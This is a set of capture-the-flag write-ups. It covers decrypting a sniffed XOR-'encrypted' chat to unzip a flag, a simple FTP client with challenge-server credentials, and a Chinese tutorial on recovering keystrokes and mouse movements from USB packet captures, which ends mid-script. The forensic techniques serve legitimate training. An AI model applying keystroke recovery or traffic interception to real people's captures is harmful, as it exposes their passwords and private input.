.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/05/12
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
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# Unknown - Aboard boat
Category: Net
## Description
> That was close! The armed guard didn’t notice you. The floor shakes, the boat is leaving the harbor. You are trying to stay hidden. You see two guards coming your way, you sneak into a small scrubber, they pass it, but then one of the guards takes out his phone and says “OK Google” and your phone suddenly makes a noise: PLING! The guards heard it: Guard 1: "Did you hear that?" Guard 2: "It must have come from the scrubber" Guard 1: "Let's have a look!" The guards close in, you are trapped! Suddenly a bell rings in the distance, and a voice talks through speakers: "Every man to their positions, the ship is about to debark, I repeat, every man to their positions." The guards change their course and head for their positions. Pheww, that was close! You find a better place to hide and settle in for the journey. Then you notice an ethernet socket in the wall. Might as well sniff some traffic while you're here.
>
> Challenge: Noise on the wire (net)
>
> You connect your laptop to the ethernet socket and start wireshark. It taks a while before something interesting pops up - perhaps the crew as busy with whatever is that they normally do. You look through the packets, and hey, these look pretty interesting...
A network capture was attached.
## Solution
An overview of the network capture:
```console
┌──(user@kali)-[/media/sf_CTFs/google/13_Unknown_-_Aboard_boat/download]
└─$ tshark -qz io,phs -r httponly.pcap
===================================================================
Protocol Hierarchy Statistics
Filter:
eth frames:54 bytes:12435
ip frames:54 bytes:12435
tcp frames:54 bytes:12435
http frames:8 bytes:4583
media frames:1 bytes:546
data-text-lines frames:2 bytes:1759
tcp.segments frames:1 bytes:1306
websocket frames:8 bytes:1324
data-text-lines frames:8 bytes:1324
===================================================================
```
Scanning through the TCP streams, we see the following interesting results:
```console
┌──(user@kali)-[/media/sf_CTFs/google/13_Unknown_-_Aboard_boat/download]
└─$ tshark -r httponly.pcap -qz follow,tcp,ascii,1
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 192.168.56.1:63546
Node 1: 192.168.56.198:80
476
GET / HTTP/1.1
Host: 192.168.56.198
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
1460
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 31 Jul 2021 11:09:12 GMT
ETag: W/"14d9-17afc40f170"
Content-Type: text/html; charset=UTF-8
Content-Length: 5337
Date: Sat, 31 Jul 2021 11:11:18 GMT
Connection: keep-alive
<html>
<!--
___ ________ _ _____ _____ ___ ________ __ _____ ______ ___ ______ _____
| \/ |_ _| | |_ _|_ _/ _ \ | ___ \ \ / / | __ \| ___ \/ _ \| _ \ ___|
| . . | | | | | | | | |/ /_\ \| |_/ /\ V / | | \/| |_/ / /_\ \ | | | |__
| |\/| | | | | | | | | || _ || / \ / | | __ | /| _ | | | | __|
| | | |_| |_| |_____| |_ | || | | || |\ \ | | | |_\ \| |\ \| | | | |/ /| |___
\_| |_/\___/\_____/\___/ \_/\_| |_/\_| \_| \_/ \____/\_| \_\_| |_/___/ \____/
_____ _ _ _____ ________ _______ _____ _____ _____ _ _ ___________ _____
| ___| \ | / __ \| ___ \ \ / / ___ \_ _|_ _| _ | \ | | |_ _| ___ \/ __ \
| |__ | \| | / \/| |_/ /\ V /| |_/ / | | | | | | | | \| | | | | |_/ /| / \/
| __|| . ` | | | / \ / | __/ | | | | | | | | . ` | | | | / | |
| |___| |\ | \__/\| |\ \ | | | | | | _| |_\ \_/ / |\ | _| |_| |\ \ | \__/\
\____/\_| \_/\____/\_| \_| \_/ \_| \_/ \___/ \___/\_| \_/ \___/\_| \_| \____/
UNHACKABLE! (TM)
-->
<head>
<title>Military Grade IRC</title>
<style>
@import url('https://fonts.googleapis.com/css
1460
2?family=Montserrat:wght@300&family=Share+Tech+Mono&display=swap');
body {
margin: 0;
width: 100vw;
height: 100vh;
background-color: #0d497f;
color: white;
font-family: 'Montserrat', sans-serif;
font-size: 1.25em;
}
input {
font-family: 'Share Tech Mono', monospace;
font-size: 1.25em;
width: 15em;
}
input[type=submit] {
font-family: 'Montserrat', sans-serif;
}
div.outer {
display: flex;
align-items: center;
flex-direction: row;
align-content: center;
justify-content: center;
width: 100%;
height: 100%;
}
div.chat {
margin: 2em;
}
div.chatbox {
background-color: #1463ab;
margin-top: 2em;
height: 18em;
padding: 0.25em;
font-size: 0.75em;
}
div.chatbox p {
margin: 0;
}
span.name {
color: white;
font-weight: bold;
}
button {
width: 100%;
font-family: 'Montserrat', sans-serif;
}
</style>
</head>
<body>
<div class="outer">
<div class="chat">
<div>
<input name="codename" id="codename" placeholder="Code name">
<input name="msg" id="msg" placeholder="Message">
</div>
<div>
<button id="milgrade">Enable Military Grade Encryption</button>
</div>
<div class="chatbox" id="chatbox"></div>
</div>
</div>
</body>
<script>
let elCodename = null;
let elMsg = null;
let elMilGrade = null;
let elChatBox = null;
let milGradeEnabled = false;
let ws = null;
function appendMessage(codename, text) {
const elSpan = document.creat
1460
eElement("span");
elSpan.classList.add("name");
elSpan.innerText = codename;
const elP = document.createElement("p");
elP.appendChild(document.createTextNode("["));
elP.appendChild(elSpan);
elP.appendChild(document.createTextNode("] " + text));
elChatBox.appendChild(elP);
}
function toHex(n) {
return (n >> 4).toString(16) + (n & 0xf).toString(16);
}
function encryptWithMilitaryGradeEncryption(text) {
const encoder = new TextEncoder();
const encoded = encoder.encode(text);
const len = encoded.length;
const key = Uint8Array.from([
11, 22, 33, 44, 55, 66, 77, 88, 99, 101, 202
]);
const keylen = key.length;
let hexstr = "";
for (let i = 0; i < len; i++) {
hexstr += toHex(encoded[i] ^ key[i % keylen]);
}
return hexstr;
}
function decryptWithMilitaryGradeEncryption(hexstr) {
const len = hexstr.length;
const key = Uint8Array.from([
11, 22, 33, 44, 55, 66, 77, 88, 99, 101, 202
]);
const keylen = key.length;
const arr = [];
for (let i = 0; i < len; i += 2) {
const byte = parseInt(hexstr.substring(i, i + 2), 16);
arr.push(byte ^ key[(i >> 1) % keylen]);
}
const decoder = new TextDecoder();
return decoder.decode(Uint8Array.from(arr));
}
function sendMessage() {
const name = elCodename.value;
const text = elMsg.value;
const message = milGradeEnabled ?
encryptWithMilitaryGradeEncryption(text) : text;
elMsg.value = "";
const data = JSON.stringify(
1252
{
militaryGradeEncryption: milGradeEnabled,
codename: name,
message: message
});
appendMessage(name, text);
ws.send(data);
}
function onMilGradeClick() {
milGradeEnabled = !milGradeEnabled;
if (milGradeEnabled) {
elMilGrade.innerText = "Disable Military Grade Encryption";
} else {
elMilGrade.innerText = "Enable Military Grade Encryption";
}
}
function onReciveMessage(ev) {
const packet = ev.data;
const data = JSON.parse(packet);
const text = data.militaryGradeEncryption ?
decryptWithMilitaryGradeEncryption(data.message) : data.message;
appendMessage(data.codename, text);
}
function onMsgKeyDown(event) {
if (event.keyCode === 13) {
event.preventDefault();
sendMessage();
}
}
function main() {
elCodename = document.getElementById("codename");
elMsg = document.getElementById("msg");
elMilGrade = document.getElementById("milgrade");
elChatBox = document.getElementById("chatbox");
elMilGrade.addEventListener("click", onMilGradeClick);
elMsg.addEventListener("keydown", onMsgKeyDown);
ws = new WebSocket("ws://192.168.56.198:80");
ws.addEventListener("message", onReciveMessage);
}
window.addEventListener("DOMContentLoaded", main, false);
</script>
</html>
419
GET /favicon.ico HTTP/1.1
Host: 192.168.56.198
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.56.198/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
399
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 150
Date: Sat, 31 Jul 2021 11:11:18 GMT
Connection: keep-alive
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /favicon.ico</pre>
</body>
</html>
===================================================================
┌──(user@kali)-[/media/sf_CTFs/google/13_Unknown_-_Aboard_boat/download]
└─$ tshark -r httponly.pcap -qz follow,tcp,ascii,3
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 3
Node 0: 192.168.56.1:62106
Node 1: 192.168.56.198:80
491
GET / HTTP/1.1
Host: 192.168.56.198
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Upgrade: websocket
Origin: http://192.168.56.198
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Sec-WebSocket-Key: ylE8fRTaGQmdMzW36op4HA==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
129
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: qxA6c0bXwkHUXALTC5mfFrg8438=
110
.......'...............Z.....F.........B.H.....Q.Y.L.........P.....G.J...J...........J...J...J.....B.
85
.S{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"which zip file?"}
102
u...f.&)i.1.w.*.i.y
j.aV%.,.i.r_4.oNj.0.f.&N=.4.k.oL~.6Ll.,.+..$B.9.w.%.k.a.
142
.~..{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"oh, that one... gimme a sec, need to turn on military grade encryption"}
76
..0...K...\...B...Q...^...@...^...Q.......T...].......^.......]...Q...
.....
211
.~..{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218"}
89
..6>..+...,...;...mC..:...,...!...mC.. ...~J..c[..<
..*[..yN..{...{L..|M..m.
77
.K{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"72734044"}
===================================================================
```
We can extract the following conversation:
```
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"which zip file?"}
{"militaryGradeEncryption":false,"codename":"BadGuy87","message":"oh, that one... gimme a sec, need to turn on military grade encryption"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218"}
{"militaryGradeEncryption":true,"codename":"BadGuy87","message":"72734044"}
```
Using the implementation in the HTML file, we can decode the military grade encryption:
```javascript
>>> decryptWithMilitaryGradeEncryption("717f510b44623d391016bd6464450c5e316d1a0c16b95f794d487a2719373000be4a54445843273f080216b97c795348642d19300a169d627a4d645634280c0c21a53a241218")
"zip's password is BossToldMeToSetABetterPasswordSoThisWillHaveToDo1234"
>>> decryptWithMilitaryGradeEncryption("72734044")
"yeah"
```
We just need to extract the zip file from the network capture:
```console
┌──(user@kali)-[/media/sf_CTFs/google/13_Unknown_-_Aboard_boat/download]
└─$ tshark -r httponly.pcap -o "tcp.desegment_tcp_streams: TRUE" -o "tcp.no_subdissector_on_error: FALSE" --export-objects "http,exported_objects"
┌──(user@kali)-[/media/sf_CTFs/google/13_Unknown_-_Aboard_boat/download]
└─$ ls exported_objects
%2f favicon.ico flag.zip
┌──(user@kali)-[/media/…/google/13_Unknown_-_Aboard_boat/download/exported_objects]
└─$ unzip -P BossToldMeToSetABetterPasswordSoThisWillHaveToDo1234 flag.zip
Archive: flag.zip
extracting: flag.txt
┌──(user@kali)-[/media/…/google/13_Unknown_-_Aboard_boat/download/exported_objects]
└─$ cat flag.txt
CTF{PleaseAssumeThisIsSomeSecretStuffThankYou}
```
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sec-knowleage
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## FTP2 (pwn, 300p, ? solves)
### PL
[ENG](#eng-version)
> nc 54.172.10.117 12012
> [ftp_0319deb1c1c033af28613c57da686aa7](ftp)
Pobieramy zalinkowany plik i ładujemy do IDY. Jest to faktycznie, zgodnie z opisem, serwer FTP - ten sam co w zadaniu FTP (re 300).
Wiemy że flaga znajduje się gdzieś na serwerze. Mamy też username i hasło.
Spróbowaliśmy najpierw dorwać się do serwera FTP w cywilizowany sposób - po prostu łącząc się klientem FTP. Niestety, nie wyszło (ani filezilla, ani webowe klienty nie dały rady - jednak widać ten serwer FTP nie był tak kompatybilny jak moglibyśmy liczyć).
Napisaliśmy więc trywialnego klienta FTP, łączącego się z serwerem:
client.py:
```
import socket
import subprocess
HOST = '54.175.183.202'
s = socket.socket()
s.connect((HOST, 12012))
def send(t):
print t
s.send(t)
def recv():
msg = s.recv(9999)
print msg
return msg
recv()
send('USER blankwall\n')
recv()
send('PASS TkCWRy')
recv()
recv()
while True:
print ">>",
i = raw_input() + '\n'
send(i)
msg = recv()
if 'PASV succesful' in msg:
port = int(msg.split()[-1])
print port
subprocess.Popen(['python', 'process.py', str(port)])
```
process.py:
```
import socket
import sys
HOST = '54.175.183.202'
port = int(sys.argv[1])
t = socket.socket()
t.connect((HOST, port))
print t.recv(99999999)
```
I tutaj zdarzyła się dziwna rzecz - wylistowaliśmy katalog po połączeniu się (poleceniem LIST), i widzimy plik o nazwie "flag" w cwd.
Następnie wykonaliśmy polecenie RETR, żeby pobrać ten plik. I... dostaliśmy flagę:
`flag{exploiting_ftp_servers_in_2015}`
Było to bardzo niespodziewane, i albo to jakiś błąd autorów zadania, albo ktoś wyexploitował zadanie "po bożemu" i (nieświadomie?) zostawił flagę w pliku na serwerze czytalnym dla każdego.
Tak czy inaczej, tanie 300 punktów do przodu.
### ENG version
> nc 54.172.10.117 12012
> [ftp_0319deb1c1c033af28613c57da686aa7](ftp)
W download the binary and load it into IDA. It is in fact a FTP server - the same as in the task FTP (re 300).
We know that the flag is somewhere on the server. We also have already the username and password.
We tried to connect to the server with an actual FTP client. Unfortunately it didn't work (neither filezilla nor any web clients could do it - apparently this FTP server was not as standard as we hoped).
Therefore we made a trivial FTOP client for the connection:
client.py:
```
import socket
import subprocess
HOST = '54.175.183.202'
s = socket.socket()
s.connect((HOST, 12012))
def send(t):
print t
s.send(t)
def recv():
msg = s.recv(9999)
print msg
return msg
recv()
send('USER blankwall\n')
recv()
send('PASS TkCWRy')
recv()
recv()
while True:
print ">>",
i = raw_input() + '\n'
send(i)
msg = recv()
if 'PASV succesful' in msg:
port = int(msg.split()[-1])
print port
subprocess.Popen(['python', 'process.py', str(port)])
```
process.py:
```
import socket
import sys
HOST = '54.175.183.202'
port = int(sys.argv[1])
t = socket.socket()
t.connect((HOST, port))
print t.recv(99999999)
```
And here we stumbled upon a strange thing - we listed the directory (with LIST) and we saw and we saw `flag` file in CWD.
Then we used RETR command to download this file and... we got the flag:
`flag{exploiting_ftp_servers_in_2015}`
It was rather unexpected and either this was some kind of mistake from the challenge authors or someone simply solved the task the "right way" and (unknowingly) left the flag on the server.
Either way we got a cheap 300 points.
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sec-knowleage
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# USB
## 简介
**USB详述**: [https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf)
- 鼠标协议
鼠标移动时表现为连续性，与键盘击键的离散性不一样，不过实际上鼠标动作所产生的数据包也是离散的，毕竟计算机表现的连续性信息都是由大量离散信息构成的
每一个数据包的数据区有四个字节，第一个字节代表按键，当取0x00时，代表没有按键、为0x01时，代表按左键，为0x02时，代表当前按键为右键。第二个字节可以看成是一个signed byte类型，其最高位为符号位，当这个值为正时，代表鼠标水平右移多少像素，为负时，代表水平左移多少像素。第三个字节与第二字节类似，代表垂直上下移动的偏移。
得到这些点的信息后,即可恢复出鼠标移动轨迹
- Tools
- [UsbMiceDataHacker](https://github.com/WangYihang/UsbMiceDataHacker)
- 键盘协议
键盘数据包的数据长度为8个字节，击键信息集中在第3个字节
根据data值与具体键位的对应关系
可从数据包恢复出键盘的案件信息
- Tools
- [UsbKeyboardDataHacker](https://github.com/WangYihang/UsbKeyboardDataHacker)
**参考**
- https://www.anquanke.com/post/id/85218
## 例题
> `Xman`三期夏令营排位赛练习题：`AutoKey`
>
> WP：https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html
问题描述：
这道题是我参加 `Xman` 三期夏令营选拔赛出的一道题，我们如何对其进行分析？
### 流量包是如何捕获的？
首先我们从上面的数据包分析可以知道，这是个 `USB` 的流量包，我们可以先尝试分析一下 `USB` 的数据包是如何捕获的。
在开始前，我们先介绍一些 `USB` 的基础知识。 `USB` 有不同的规格，以下是使用 `USB` 的三种方式：
```shell
l USB UART
l USB HID
l USB Memory
```
`UART` 或者 `Universal Asynchronous Receiver/Transmitter` 。这种方式下，设备只是简单的将 `USB` 用于接受和发射数据，除此之外就再没有其他通讯功能了。
`HID` 是人性化的接口。这一类通讯适用于交互式，有这种功能的设备有：键盘，鼠标，游戏手柄和数字显示设备。
最后是 `USB Memory` ，或者说是数据存储。 `External HDD` ， `thumb drive/flash drive` 等都是这一类的。
其中使用的最广的不是 `USB HID` 就是 `USB Memory` 了。
每一个 `USB` 设备（尤其是 `HID` 或者 `Memory` ）都有一个供应商 `ID（Vendor ID）` 和产品识别码`（Product Id）` 。 `Vendor ID` 是用来标记哪个厂商生产了这个 `USB` 设备。 `Product ID` 用来标记不同的产品，他并不是一个特殊的数字，当然最好不同。如下图：
上图是我在虚拟机环境下连接在我电脑上的 `USB` 设备列表，通过 `lsusb` 查看命令。
例如说，我在 `VMware` 下有一个无线鼠标。它是属于 `HID` 设备。这个设备正常的运行，并且通过`lsusb` 这个命令查看所有 `USB` 设备，现在大家能找出哪一条是这个鼠标吗？？没有错，就是第四个，就是下面这条：
```shell
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
```
其中，`ID 0e0f:0003` 就是 `Vendor-Product ID` 对， `Vendor ID` 的值是 `0e0f` ，并且 `Product ID` 的值是 `0003` 。 `Bus 002 Device 002` 代表 `usb` 设备正常连接，这点需要记下来。
我们用 `root` 权限运行 `Wireshark` 捕获 `USB` 数据流。但是通常来说我们不建议这么做。我们需要给用户足够的权限来获取 `Linux` 中的 `usb` 数据流。我们可以用 `udev` 来达到我们的目的。我们需要创建一个用户组 `usbmon` ，然后把我们的账户添加到这个组中。
```shell
addgroup usbmon
gpasswd -a $USER usbmon
echo 'SUBSYSTEM=="usbmon", GROUP="usbmon", MODE="640"' > /etc/udev/rules.d/99-usbmon.rules
```
接下来，我们需要 `usbmon` 内核模块。如果该模块没有被加载，我们可以通过以下命令加载该模块：
```shell
modprobe usbmon
```
打开 `wireshark` ，你会看到 `usbmonX` 其中 `X` 代表数字。下图是我们本次的结果（我使用的是`root `）：
如果接口处于活跃状态或者有数据流经过的时候， `wireshark` 的界面就会把它以波形图的方式显示出来。那么，我们该选那个呢？没有错，就是我刚刚让大家记下来的，这个X的数字就是对应这 `USB Bus` 。在本文中是 `usbmon0` 。打开他就可以观察数据包了。
通过这些，我们可以了解到 `usb` 设备与主机之间的通信过程和工作原理，我们可以来对流量包进行分析了。
### 如何去分析一个USB流量包？
根据前面的知识铺垫，我们大致对 `USB` 流量包的抓取有了一个轮廓了，下面我们介绍一下如何分析一个 `USB` 流量包。
`USB` 协议的细节方面参考 `wireshark` 的 `wiki` ：<https://wiki.wireshark.org/USB>
我们先拿 `GitHub` 上一个简单的例子开始讲起：
我们分析可以知道， `USB` 协议的数据部分在 `Leftover Capture Data` 域之中，在 `Mac` 和 `Linux` 下可以用 `tshark` 命令可以将 `leftover capture data` 单独提取出来，命令如下：
```shell
tshark -r example.pcap -T fields -e usb.capdata //如果想导入usbdata.txt文件中，后面加上参数：>usbdata.txt
```
`Windows` 下装了 `wireshark` 的环境下，在 `wireshark`目录下有个 `tshark.exe` ，比如我的在 `D:\Program Files\Wireshark\tshark.exe`
调用 `cmd` ，定位到当前目录下，输入如下命令即可：
```
tshark.exe -r example.pcap -T fields -e usb.capdata //如果想导入usbdata.txt文件中，后面加上参数：>usbdata.txt
```
有关 `tshark` 命令的详细使用参考 `wireshark` 官方文档：<https://www.wireshark.org/docs/man-pages/tshark.html>
运行命令并查看 `usbdata.txt` 发现数据包长度为八个字节
关于 `USB` 的特点应用我找了一张图，很清楚的反应了这个问题：
这里我们只关注 `USB` 流量中的键盘流量和鼠标流量。
键盘数据包的数据长度为 `8` 个字节，击键信息集中在第 `3` 个字节，每次 `key stroke` 都会产生一个 `keyboard event usb packet` 。
鼠标数据包的数据长度为 `4` 个字节，第一个字节代表按键，当取 `0x00` 时，代表没有按键、为0x01时，代表按左键，为 `0x02` 时，代表当前按键为右键。第二个字节可以看成是一个 `signed byte` 类型，其最高位为符号位，当这个值为正时，代表鼠标水平右移多少像素，为负时，代表水平左移多少像素。第三个字节与第二字节类似，代表垂直上下移动的偏移。
我翻阅了大量的 `USB` 协议的文档，在这里我们可以找到这个值与具体键位的对应关系：<https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf>
`usb keyboard` 的映射表 根据这个映射表将第三个字节取出来，对应对照表得到解码：
我们写出如下脚本：
```python
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
# 00:00:xx:....
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print('output :n' + output)
```
结果如下：
我们把前面的整合成脚本，得：
```python
#!/usr/bin/env python
import sys
import os
DataFileName = "usb.dat"
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
def main():
# check argv
if len(sys.argv) != 2:
print "Usage : "
print " python UsbKeyboardHacker.py data.pcap"
print "Tips : "
print " To use this python script , you must install the tshark first."
print " You can use `sudo apt-get install tshark` to install it"
print " Thank you for using."
exit(1)
# get argv
pcapFilePath = sys.argv[1]
# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))
# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = press.split(":")
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "20": # shift key is pressed.
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
else:
print "[-] Unknow Key : %s" % (Bytes[0])
print "[+] Found : %s" % (result)
# clean the temp data
os.system("rm ./%s" % (DataFileName))
if __name__ == "__main__":
main()
```
效果如下：
另外贴上一份鼠标流量数据包转换脚本：
```python
nums = []
keys = open('usbdata.txt','r')
posx = 0
posy = 0
for line in keys:
if len(line) != 12 :
continue
x = int(line[3:5],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[0:2],16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1 :
print posx , posy
keys.close()
```
键盘流量数据包转换脚本如下：
```python
nums=[0x66,0x30,0x39,0x65,0x35,0x34,0x63,0x31,0x62,0x61,0x64,0x32,0x78,0x33,0x38,0x6d,0x76,0x79,0x67,0x37,0x77,0x7a,0x6c,0x73,0x75,0x68,0x6b,0x69,0x6a,0x6e,0x6f,0x70]
s=''
for x in nums:
s+=chr(x)
print s
mappings = { 0x41:"A", 0x42:"B", 0x43:"C", 0x44:"D", 0x45:"E", 0x46:"F", 0x47:"G", 0x48:"H", 0x49:"I", 0x4a:"J", 0x4b:"K", 0x4c:"L", 0x4d:"M", 0x4e:"N",0x4f:"O", 0x50:"P", 0x51:"Q", 0x52:"R", 0x53:"S", 0x54:"T", 0x55:"U",0x56:"V", 0x57:"W", 0x58:"X", 0x59:"Y", 0x5a:"Z", 0x60:"0", 0x61:"1", 0x62:"2", 0x63:"3", 0x64:"4", 0x65:"5", 0x66:"6", 0x67:"7", 0x68:"8", 0x69:"9", 0x6a:"*", 0x6b:"+", 0X6c:"separator", 0x6d:"-", 0x6e:".", 0x6f:"/" }
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print 'output :\n' + output
```
那么对于 `xman` 三期夏令营排位赛的这道题，我们可以模仿尝试如上这个例子：
首先我们通过 `tshark` 将 `usb.capdata` 全部导出：
```shell
tshark -r task_AutoKey.pcapng -T fields -e usb.capdata //如果想导入usbdata.txt文件中，后面加上参数：>usbdata.txt
```
结果如下：
我们用上面的 `python` 脚本将第三个字节取出来，对应对照表得到解码：
```python
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('usbdata.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
# 00:00:xx:....
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print('output :n' + output)
```
运行结果如下：
```shell
output :n[unknown]A[unknown]UTOKEY''.DECIPHER'[unknown]MPLRVFFCZEYOUJFJKYBXGZVDGQAURKXZOLKOLVTUFBLRNJESQITWAHXNSIJXPNMPLSHCJBTYHZEALOGVIAAISSPLFHLFSWFEHJNCRWHTINSMAMBVEXO[DEL]PZE[DEL]IZ'
```
我们可以看出这是自动密匙解码，现在的问题是在我们不知道密钥的情况下应该如何解码呢？
我找到了如下这篇关于如何爆破密匙：<http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/>
爆破脚本如下：
```python
from ngram_score import ngram_score
from pycipher import Autokey
import re
from itertools import permutations
qgram = ngram_score('quadgrams.txt')
trigram = ngram_score('trigrams.txt')
